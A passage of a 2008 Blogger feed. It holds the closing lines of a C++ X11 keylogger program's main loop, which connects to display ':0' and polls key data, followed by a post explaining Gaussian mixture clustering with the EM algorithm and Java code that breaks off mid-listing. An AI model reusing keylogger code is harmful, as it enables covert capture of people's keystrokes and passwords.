class="Statement"&gt;if&lt;/span&gt;(keylogger.connect(&lt;span class="Constant"&gt;&amp;quot;:0&amp;quot;&lt;/span&gt;)) {&lt;br /&gt;&lt;span class="lnr"&gt;138 &lt;/span&gt;        keylogger.start();&lt;br /&gt;&lt;span class="lnr"&gt;139 &lt;/span&gt;        &lt;span class="Statement"&gt;while&lt;/span&gt; ( &lt;span class="Number"&gt;1&lt;/span&gt; ) {&lt;br /&gt;&lt;span class="lnr"&gt;140 &lt;/span&gt;            keylogger.processData();&lt;br /&gt;&lt;span class="lnr"&gt;141 &lt;/span&gt;            usleep(&lt;span class="Number"&gt;1000000&lt;/span&gt;/&lt;span class="Number"&gt;3&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt;142 &lt;/span&gt;        }&lt;br /&gt;&lt;span class="lnr"&gt;143 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;144 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; &lt;span class="Number"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;145 &lt;/span&gt;}&lt;br /&gt;&lt;span class="lnr"&gt;146 &lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-5211288165907390970?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/5211288165907390970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=5211288165907390970' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5211288165907390970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/5211288165907390970'/><link rel='alternate' type='text/html' href='http://emg-2.blogspot.com/2008/01/xfree86xorg-keylogger.html' title='XFree86/Xorg keylogger'/><author><name>Mariusz Gniazdowski</name><uri>http://www.blogger.com/profile/06471215319900365348</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2289497912865198302.post-1567512533309402380</id><published>2008-01-20T16:28:00.000-08:00</published><updated>2008-01-21T17:40:14.011-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><title type='text'>Mixture of Gaussians and Expectation Maximization algorithm</title><content type='html'>&lt;div style="text-align: justify;"&gt;Recently I was implementing expectation-maximization (EM) algorithm to solve problem of fuzzy data clustering. Consider dataset consisting of &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; points (&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;):&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;d&lt;/span&gt;=((&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;), (&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;&lt;sub&gt;2&lt;/sub&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;&lt;sub&gt;2&lt;/sub&gt;), ..., (&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;n&lt;/sub&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;n&lt;/sub&gt;))&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;In non-fuzzy (hard) clustering each point is assigned to exactly one cluster. Fuzzy clustering can assign points to more than one cluster by giving membership grades, which indicate the degree to which the data points belong to the different clusters.&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;I was solving a problem where points &lt;span style="font-style: italic;"&gt;d&lt;/span&gt; are assumed to be generated by mixture of &lt;span style="font-style: italic;"&gt;K&lt;/span&gt; Gaussian distributions. In other words, distribution of points in &lt;span style="font-style: italic;"&gt;d&lt;/span&gt; is given by density:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;p&lt;/span&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;)= &lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt; &lt;span style="font-style: italic;"&gt;p&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;)+ ... + &lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;K&lt;/sub&gt; &lt;span style="font-style: italic;"&gt;p&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;K&lt;/sub&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;where  &lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;+...+&lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;K&lt;/sub&gt;=1 and&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;p&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;j&lt;/sub&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;)= 1/(2 π &lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;xj&lt;/sub&gt;&lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;yj&lt;/sub&gt;) exp{-½[(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;-&lt;span style="font-style: italic;"&gt;m&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;xj&lt;/sub&gt;)/&lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;xj&lt;/sub&gt;]&lt;sup&gt;2&lt;/sup&gt;  -½[(&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;-&lt;span style="font-style: italic;"&gt;m&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;yj&lt;/sub&gt;)/&lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;yj&lt;/sub&gt;]&lt;sup&gt;2&lt;/sup&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Note that each dimension has it's own standard deviation: &lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;x&lt;/sub&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;for&lt;span style="font-style: italic;"&gt; x&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;y&lt;/sub&gt; for &lt;span style="font-style: italic;"&gt;y&lt;/span&gt;. There are also problems and solutions that use one standard deviation for both dimensions, resulting in clusters that have "shape" of circles (instead of ellipses).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Following variables are unknown (&lt;span style="font-style: italic;"&gt;latent variables&lt;/span&gt;): &lt;span style="font-style: italic;"&gt;w&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;j&lt;/sub&gt;, &lt;span style="font-style: italic;"&gt;m&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;xj&lt;/sub&gt;, &lt;span style="font-style: italic;"&gt;m&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;yj&lt;/sub&gt;, &lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;xj&lt;/sub&gt;, &lt;span style="font-style: italic;"&gt;s&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;yj&lt;/sub&gt;. To cluster dataset into &lt;span style="font-style: italic;"&gt;K&lt;/span&gt; fuzzy clusters, we must find those variables for each cluster and  minimize following function:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;L&lt;/span&gt;(&lt;span style="font-style: italic;"&gt;d&lt;/span&gt;)= -ln(&lt;span style="font-style: italic;"&gt;p&lt;/span&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;&lt;sub&gt;1&lt;/sub&gt;)) - ... -ln(&lt;span style="font-style: italic;"&gt;p&lt;/span&gt;(&lt;span style="font-style: italic;"&gt;x&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;n&lt;/sub&gt;,&lt;span style="font-style: italic;"&gt;y&lt;/span&gt;&lt;sub style="font-style: italic;"&gt;n&lt;/sub&gt;))&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This is where Expectation-Maximization algorithm is used. After finding latent variables it is easy to compute probability of membership to cluster &lt;span style="font-style: italic;"&gt;j&lt;/span&gt; of arbitrary point (x&lt;sub&gt;i&lt;/sub&gt;,y&lt;sub&gt;i&lt;/sub&gt;):&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;i&gt;w&lt;sub&gt;j &lt;/sub&gt;&lt;/i&gt;&lt;i&gt;p&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; (&lt;i&gt;x&lt;sub&gt;i&lt;/sub&gt;, y&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt;) / &lt;i&gt;p&lt;/i&gt; (&lt;i&gt;x&lt;sub&gt;i&lt;/sub&gt;, y&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;More information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Expectation-maximization_algorithm"&gt;Wikipedia&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://socr.ucla.edu/Applets.dir/MixtureEM.html"&gt;Demonstration (Java applet)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Below is the code. Input and output format is described inside it. Input data is read from standard input.&lt;br /&gt;&lt;pre  style="line-height: 11px;font-size:10px;"&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  1 &lt;/span&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; java.io.*;&lt;br /&gt;&lt;span class="lnr"&gt;  2 &lt;/span&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; java.math.*;&lt;br /&gt;&lt;span class="lnr"&gt;  3 &lt;/span&gt;&lt;span class="PreProc"&gt;import&lt;/span&gt; java.util.*;&lt;br /&gt;&lt;span class="lnr"&gt;  4 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  5 &lt;/span&gt;&lt;span class="Comment"&gt;// w - coefficients of mixture (weights of gaussian distributions)&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  6 &lt;/span&gt;&lt;span class="Comment"&gt;// m - means&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  7 &lt;/span&gt;&lt;span class="Comment"&gt;// s - standard deviations stored as pairs, one field is assigned for&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  8 &lt;/span&gt;&lt;span class="Comment"&gt;//     x1, and one for x2&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;  9 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 10 &lt;/span&gt;&lt;span class="Comment"&gt;// d=((x_1,y_1),..., (x_n,y_n))&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 11 &lt;/span&gt;&lt;span class="Comment"&gt;// p(x,y)= w_1 p_1(x,y)+ ... + w_K p_K(x,y) &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 12 &lt;/span&gt;&lt;span class="Comment"&gt;// w_1+...+w_K=1&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 13 &lt;/span&gt;&lt;span class="Comment"&gt;// p_j(x,y)= 1/(2 pi s_xj s_yj) exp{-[(x-m_xj )/s_xj]^2/2 -[(y-m_yj )/s_yj ]^2/2}. &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 14 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 15 &lt;/span&gt;&lt;span class="Comment"&gt;// unknown variables: w_j, m_xj, m_yj, s_xj, s_yj&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 16 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 17 &lt;/span&gt;&lt;span class="Comment"&gt;// minimalised function:  L(d)= -ln(p(x_1,y_1)) - ... -ln(p(x_n,y_n))&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 18 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 19 &lt;/span&gt;&lt;span class="Comment"&gt;// Input format:&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 20 &lt;/span&gt;&lt;span class="Comment"&gt;//  K n&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 21 &lt;/span&gt;&lt;span class="Comment"&gt;//  x_1 y_1&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 22 &lt;/span&gt;&lt;span class="Comment"&gt;//  x_2 y_2&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 23 &lt;/span&gt;&lt;span class="Comment"&gt;//  ...&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 24 &lt;/span&gt;&lt;span class="Comment"&gt;//  x_n y_n&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 25 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 26 &lt;/span&gt;&lt;span class="Comment"&gt;// Output format:&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 27 &lt;/span&gt;&lt;span class="Comment"&gt;//  L(d)&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 28 &lt;/span&gt;&lt;span class="Comment"&gt;//  w_1 mx_1 sx_1 my_1 sy_1&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 29 &lt;/span&gt;&lt;span class="Comment"&gt;//  w_2 mx_2 sx_2 my_2 sy_2&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 30 &lt;/span&gt;&lt;span class="Comment"&gt;//  ...&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 31 &lt;/span&gt;&lt;span class="Comment"&gt;//  w_n mx_n sx_n my_n sy_n&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 32 &lt;/span&gt;&lt;span class="Comment"&gt;//&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 33 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 34 &lt;/span&gt;&lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;class&lt;/span&gt; EM {&lt;br /&gt;&lt;span class="lnr"&gt; 35 &lt;/span&gt; &lt;span class="Comment"&gt;// Pairs (x,y)&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 36 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[][] points;&lt;br /&gt;&lt;span class="lnr"&gt; 37 &lt;/span&gt; &lt;span class="Type"&gt;int&lt;/span&gt;        K,N;&lt;br /&gt;&lt;span class="lnr"&gt; 38 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; L;&lt;br /&gt;&lt;span class="lnr"&gt; 39 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; w[],   w_prev[];&lt;br /&gt;&lt;span class="lnr"&gt; 40 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; m[][], m_prev[][];&lt;br /&gt;&lt;span class="lnr"&gt; 41 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;         s[][], s_prev[][];&lt;br /&gt;&lt;span class="lnr"&gt; 42 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; P_x[], P_x_prev[];&lt;br /&gt;&lt;span class="lnr"&gt; 43 &lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; Min[], Max[];&lt;br /&gt;&lt;span class="lnr"&gt; 44 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 45 &lt;/span&gt; EM(&lt;span class="Type"&gt;double&lt;/span&gt;[][] points, &lt;span class="Type"&gt;int&lt;/span&gt; K) &lt;span class="StorageClass"&gt;throws&lt;/span&gt; Exception {&lt;br /&gt;&lt;span class="lnr"&gt; 46 &lt;/span&gt;    init(points);&lt;br /&gt;&lt;span class="lnr"&gt; 47 &lt;/span&gt;    setM(K);&lt;br /&gt;&lt;span class="lnr"&gt; 48 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt; 49 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 50 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; init(&lt;span class="Type"&gt;double&lt;/span&gt;[][] _points) &lt;span class="StorageClass"&gt;throws&lt;/span&gt; Exception {&lt;br /&gt;&lt;span class="lnr"&gt; 51 &lt;/span&gt;    points = _points;&lt;br /&gt;&lt;span class="lnr"&gt; 52 &lt;/span&gt;    N = points.length;&lt;br /&gt;&lt;span class="lnr"&gt; 53 &lt;/span&gt;    &lt;span class="Comment"&gt;// Pairs of points required&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 54 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt;(points[&lt;span class="Number"&gt;0&lt;/span&gt;].length != &lt;span class="Number"&gt;2&lt;/span&gt;) {&lt;br /&gt;&lt;span class="lnr"&gt; 55 &lt;/span&gt;       &lt;span class="Statement"&gt;throw&lt;/span&gt; &lt;span class="Statement"&gt;new&lt;/span&gt; Exception();&lt;br /&gt;&lt;span class="lnr"&gt; 56 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 57 &lt;/span&gt;    Min   = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 58 &lt;/span&gt;    Max   = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 59 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; n,i,j;&lt;br /&gt;&lt;span class="lnr"&gt; 60 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(i=&lt;span class="Number"&gt;0&lt;/span&gt;;i&amp;lt;&lt;span class="Number"&gt;2&lt;/span&gt;;i++) {&lt;br /&gt;&lt;span class="lnr"&gt; 61 &lt;/span&gt;       Min[i] = points[&lt;span class="Number"&gt;0&lt;/span&gt;][i];&lt;br /&gt;&lt;span class="lnr"&gt; 62 &lt;/span&gt;       Max[i] = points[&lt;span class="Number"&gt;0&lt;/span&gt;][i];&lt;br /&gt;&lt;span class="lnr"&gt; 63 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;1&lt;/span&gt;;n&amp;lt;N;n++) {&lt;br /&gt;&lt;span class="lnr"&gt; 64 &lt;/span&gt;          &lt;span class="Statement"&gt;if&lt;/span&gt;(Min[i] &amp;gt; points[n][i]) Min[i] = points[n][i]; &lt;span class="Statement"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 65 &lt;/span&gt;             &lt;span class="Statement"&gt;if&lt;/span&gt;(Max[i] &amp;lt; points[n][i]) Max[i] = points[n][i];&lt;br /&gt;&lt;span class="lnr"&gt; 66 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt; 67 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 68 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt; 69 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 70 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; setM(&lt;span class="Type"&gt;int&lt;/span&gt; _K) {&lt;br /&gt;&lt;span class="lnr"&gt; 71 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i,j;&lt;br /&gt;&lt;span class="lnr"&gt; 72 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; var[] = {&lt;span class="Number"&gt;0.0&lt;/span&gt;, &lt;span class="Number"&gt;0.0&lt;/span&gt;};&lt;br /&gt;&lt;span class="lnr"&gt; 73 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 74 &lt;/span&gt;    K = _K;&lt;br /&gt;&lt;span class="lnr"&gt; 75 &lt;/span&gt;    P_x   = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[N];&lt;br /&gt;&lt;span class="lnr"&gt; 76 &lt;/span&gt;    P_x_prev = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[N];&lt;br /&gt;&lt;span class="lnr"&gt; 77 &lt;/span&gt;    w = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K];&lt;br /&gt;&lt;span class="lnr"&gt; 78 &lt;/span&gt;    m = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K][&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 79 &lt;/span&gt;    s = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K][&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 80 &lt;/span&gt;    w_prev = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K];&lt;br /&gt;&lt;span class="lnr"&gt; 81 &lt;/span&gt;    m_prev = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K][&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 82 &lt;/span&gt;    s_prev = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[K][&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt; 83 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 84 &lt;/span&gt;    var[&lt;span class="Number"&gt;0&lt;/span&gt;] = (Max[&lt;span class="Number"&gt;0&lt;/span&gt;] - Min[&lt;span class="Number"&gt;0&lt;/span&gt;]) * (Max[&lt;span class="Number"&gt;0&lt;/span&gt;] - Min[&lt;span class="Number"&gt;0&lt;/span&gt;]) / &lt;span class="Number"&gt;12&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 85 &lt;/span&gt;    var[&lt;span class="Number"&gt;1&lt;/span&gt;] = (Max[&lt;span class="Number"&gt;1&lt;/span&gt;] - Min[&lt;span class="Number"&gt;1&lt;/span&gt;]) * (Max[&lt;span class="Number"&gt;1&lt;/span&gt;] - Min[&lt;span class="Number"&gt;1&lt;/span&gt;]) / &lt;span class="Number"&gt;12&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 86 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 87 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt; 88 &lt;/span&gt;       w[j] = &lt;span class="Number"&gt;1.0&lt;/span&gt; / (&lt;span class="Type"&gt;double&lt;/span&gt;)K;&lt;br /&gt;&lt;span class="lnr"&gt; 89 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] = var[&lt;span class="Number"&gt;0&lt;/span&gt;] / &lt;span class="Number"&gt;4&lt;/span&gt; + Math.random() * var[&lt;span class="Number"&gt;0&lt;/span&gt;] / &lt;span class="Number"&gt;4&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 90 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] = var[&lt;span class="Number"&gt;1&lt;/span&gt;] / &lt;span class="Number"&gt;4&lt;/span&gt; + Math.random() * var[&lt;span class="Number"&gt;1&lt;/span&gt;] / &lt;span class="Number"&gt;4&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 91 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 92 &lt;/span&gt;       m[j][&lt;span class="Number"&gt;0&lt;/span&gt;] = (Max[&lt;span class="Number"&gt;0&lt;/span&gt;] + Min[&lt;span class="Number"&gt;0&lt;/span&gt;]) / &lt;span class="Number"&gt;2&lt;/span&gt; + (Math.random() - &lt;span class="Number"&gt;0.5&lt;/span&gt; ) *&lt;br /&gt;&lt;span class="lnr"&gt; 93 &lt;/span&gt;          (Max[&lt;span class="Number"&gt;0&lt;/span&gt;] - Min[&lt;span class="Number"&gt;0&lt;/span&gt;]) / &lt;span class="Number"&gt;2&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 94 &lt;/span&gt;       m[j][&lt;span class="Number"&gt;1&lt;/span&gt;] = (Max[&lt;span class="Number"&gt;1&lt;/span&gt;] + Min[&lt;span class="Number"&gt;1&lt;/span&gt;]) / &lt;span class="Number"&gt;2&lt;/span&gt; + (Math.random() - &lt;span class="Number"&gt;0.5&lt;/span&gt; ) *&lt;br /&gt;&lt;span class="lnr"&gt; 95 &lt;/span&gt;          (Max[&lt;span class="Number"&gt;1&lt;/span&gt;] - Min[&lt;span class="Number"&gt;1&lt;/span&gt;]) / &lt;span class="Number"&gt;2&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt; 96 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt; 97 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt; 98 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt; 99 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; calcPrev() {&lt;br /&gt;&lt;span class="lnr"&gt;100 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i,j;&lt;br /&gt;&lt;span class="lnr"&gt;101 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt;102 &lt;/span&gt;       w_prev[j] = w[j];&lt;br /&gt;&lt;span class="lnr"&gt;103 &lt;/span&gt;       s_prev[j][&lt;span class="Number"&gt;0&lt;/span&gt;] = s[j][&lt;span class="Number"&gt;0&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;104 &lt;/span&gt;       s_prev[j][&lt;span class="Number"&gt;1&lt;/span&gt;] = s[j][&lt;span class="Number"&gt;1&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;105 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(i=&lt;span class="Number"&gt;0&lt;/span&gt;;i&amp;lt;&lt;span class="Number"&gt;2&lt;/span&gt;;i++) {&lt;br /&gt;&lt;span class="lnr"&gt;106 &lt;/span&gt;          m_prev[j][i] = m[j][i];&lt;br /&gt;&lt;span class="lnr"&gt;107 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt;108 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;109 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;110 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;111 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; P_x_j(&lt;span class="Type"&gt;int&lt;/span&gt; n, &lt;span class="Type"&gt;int&lt;/span&gt; j) {&lt;br /&gt;&lt;span class="lnr"&gt;112 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i;&lt;br 